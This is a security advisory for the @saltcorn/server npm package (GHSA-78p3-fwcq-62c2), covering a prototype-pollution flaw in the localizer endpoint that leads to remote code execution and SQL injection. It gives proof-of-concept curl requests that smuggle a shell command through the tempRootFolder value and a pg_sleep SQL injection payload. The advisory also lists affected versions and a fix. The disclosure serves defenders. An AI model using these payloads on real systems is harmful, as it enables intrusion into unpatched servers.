Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: GSA_kwCzR0hTQS03OHAzLWZ3Y3EtNjJjMs4AA_8Q
@saltcorn/server Remote Code Execution (RCE) / SQL injection via prototype pollution by manipulating `lang` and `defstring` parameters when setting localizer strings
Summary
The endpoint /site-structure/localizer/save-string/:lang/:defstring
accepts two parameter values: lang
and defstring
. These values are used in an unsafe way to set the keys and value of the cfgStrings
object. It allows to add/modify properties of the Object prototype
that result in several logic issues, including:
- RCE vulnerabilities by polluting the
tempRootFolder
property - SQL injection vulnerabilities by polluting the
schema
property when usingPostgreSQL
database.
Details
router.post(
"/localizer/save-string/:lang/:defstring",
isAdmin,
error_catcher(async (req, res) => {
const { lang, defstring } = req.params; // source
const cfgStrings = getState().getConfigCopy("localizer_strings");
if (cfgStrings[lang]) cfgStrings[lang][defstring] = text(req.body.value); // [1] sink
else cfgStrings[lang] = { [defstring]: text(req.body.value) };
await getState().setConfig("localizer_strings", cfgStrings);
res.redirect(`/site-structure/localizer/edit/${lang}`);
})
);
PoC
Setup:
- set
SALTCORN_NWORKERS=1
before starting thesaltcorn
server (to easily observe the behavior of the PoC)
SALTCORN_NWORKERS=1 saltcorn serve
- make sure to use PostgresSQL backend
- login with a user with admin permission
RCE
This PoC demonstrates how to escalate the Prototype Pollution vulnerability to change the behavior of certain command executed.
- check that the file that will be created does not exists:
cat /tmp/RCE
cat: /tmp/RCE: No such file or directory
- pollute the
Object.prototype
with atempRootFolder
value set to;echo+"rce"|tee+/tmp/RCE;
by sending the following request *** :
curl -i -X $'POST' \
-H $'Host: localhost:3000' \
-H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' \
-H $'Origin: http://localhost:3000' \
-H $'Connection: close' \
-b $'loggedin=true; connect.sid=VALID_CONNECT_SID_COOKIE' \
--data-binary $'_csrf=VALID_csrf_Value&value=;echo+"rce"|tee+/tmp/RCE;' \
$'http://localhost:3000/site-structure/localizer/save-string/__proto__/tempRootFolder'
visit http://localhost:3000/plugins/new
- enter the following fields:
- Name:
test
- Source:
git
- other fields blank
- click
Create
- Name:
- you will get an error but the command
echo "rce" | tee /tmp/RCE
will be executed - to verify:
cat /tmp/RCE
rce
The RCE occurs because after the previous curl request, the tempRootFolder
property is set to ;echo+"rce"|tee+/tmp/RCE;
that is later used to build the shell commands.
class PluginInstaller {
constructor(plugin, opts = {}) { // opts will have the tempRootFolder property set with dangerous values // [2]
[...]
this.tempRootFolder =
opts.tempRootFolder || envPaths("saltcorn", { suffix: "tmp" }).temp; // [3]
[...]
this.pckJsonPath = join(this.pluginDir, "package.json");
this.tempDir = join(this.tempRootFolder, "temp_install", ...tokens); // [4]
[...]
}
[...]
}
SQL Injection
This PoC demonstrates how to escalate the Prototype Pollution vulnerability to change the behavior of certain SQL queries (i.e SQLi).
- visit
http://localhost:3000/table
to check the page returns some results (no errors) - pollute the
Object.prototype
with a schema value set to"
(just to create an exception in the query that will be executed to demonstrate the issue) by sending the following request *** :
curl -i -X $'POST' \
-H $'Host: localhost:3000' \
-H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' \
-H $'Origin: http://localhost:3000' \
-H $'Connection: close' \
-b $'loggedin=true; connect.sid=VALID_CONNECT_SID_COOKIE' \
--data-binary $'_csrf=VALID_csrf_Value&value=\"' \
$'http://localhost:3000/site-structure/localizer/save-string/__proto__/schema'
- visit again
http://localhost:3000/table
but this time an SQL error will appear:
syntax error at or near "" order by lower(""
NOTE: Another payload to use as value
could be pg_user"+WHERE+1=1+AND+(SELECT+pg_sleep(5))+IS+NOT+NULL+--
The SQL injection occurs because after the previous curl request, the schema
property is set to "
.
const select = async (tbl, whereObj, selectopts = {}) => { // [2] selectopts
const { where, values } = mkWhere(whereObj);
const schema = selectopts.schema || getTenantSchema(); // [3] selectopts.schema
const sql = `SELECT ${
selectopts.fields ? selectopts.fields.join(", ") : `*`
} FROM "${schema}"."${sqlsanitize(tbl)}" ${where} ${mkSelectOptions( // [4] schema
selectopts,
values,
false
)}`;
sql_log(sql, values);
const tq = await (client || selectopts.client || pool).query(sql, values);
return tq.rows;
};
*** Retrieve valid values for the connect.sid
(VALID_CONNECT_SID_COOKIE
) and _csrf
values (VALID_csrf_Value
) :
- open the browser developer console and go to the
Network
tab - visit
http://localhost:3000/site-structure/localizer/add-lang
- add a language (
Name: test
,Locale: test
) and clickSave
- under the
Network
tab, filter forsave-lang
and check the request parameters (Headers
andPayload
/Request
tabs) - copy the values for
connect.sid
and_csrf
and paste in the curl command above
Impact
Remote code execution (RCE), Sql injection and business logic errors.
Recommended Mitigation
Check the values of lang
and defstring
parameters against dangerous properties like __proto__
, constructor
, prototype
.
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03OHAzLWZ3Y3EtNjJjMs4AA_8Q
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: 14 days ago
Updated: 14 days ago
CVSS Score: 7.2
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Identifiers: GHSA-78p3-fwcq-62c2
References:
- https://github.com/saltcorn/saltcorn/security/advisories/GHSA-78p3-fwcq-62c2
- https://github.com/saltcorn/saltcorn/commit/9e066ae8ba317469053cc27e95dcdf5b6e60e12d
- https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/infoarch.js#L236-L239
- https://github.com/advisories/GHSA-78p3-fwcq-62c2
Blast Radius: 8.0
Affected Packages
npm:@saltcorn/server
Dependent packages: 8Dependent repositories: 13
Downloads: 3,622 last month
Affected Version Ranges: <= 1.0.0-beta.13
Fixed in: 1.0.0-beta.14
All affected versions: 0.0.2, 0.0.3, 0.0.4, 0.0.5, 0.0.6, 0.0.7, 0.0.8, 0.0.9, 0.1.0, 0.1.1, 0.1.2, 0.1.3, 0.1.4, 0.2.0, 0.2.1, 0.2.2, 0.2.3, 0.3.0, 0.3.1, 0.3.2, 0.3.3, 0.3.4, 0.3.5, 0.4.0, 0.4.1, 0.4.2, 0.4.3, 0.4.4, 0.4.5, 0.5.0, 0.5.1, 0.5.2, 0.5.3, 0.5.4, 0.5.5, 0.5.6, 0.6.0, 0.6.1, 0.6.2, 0.6.3, 0.6.4, 0.7.0, 0.7.1, 0.7.2, 0.7.3, 0.7.4, 0.8.0, 0.8.1, 0.8.2, 0.8.3, 0.8.4, 0.8.5, 0.8.6, 0.8.7, 0.8.9, 0.9.0, 0.9.1, 0.9.2, 0.9.3, 0.9.4, 0.9.5, 0.9.6, 0.9.7, 0.9.8, 1.0.0-beta.0, 1.0.0-beta.1, 1.0.0-beta.2, 1.0.0-beta.3, 1.0.0-beta.4, 1.0.0-beta.5, 1.0.0-beta.6, 1.0.0-beta.7, 1.0.0-beta.8, 1.0.0-beta.9, 1.0.0-beta.10, 1.0.0-beta.11, 1.0.0-beta.13
All unaffected versions: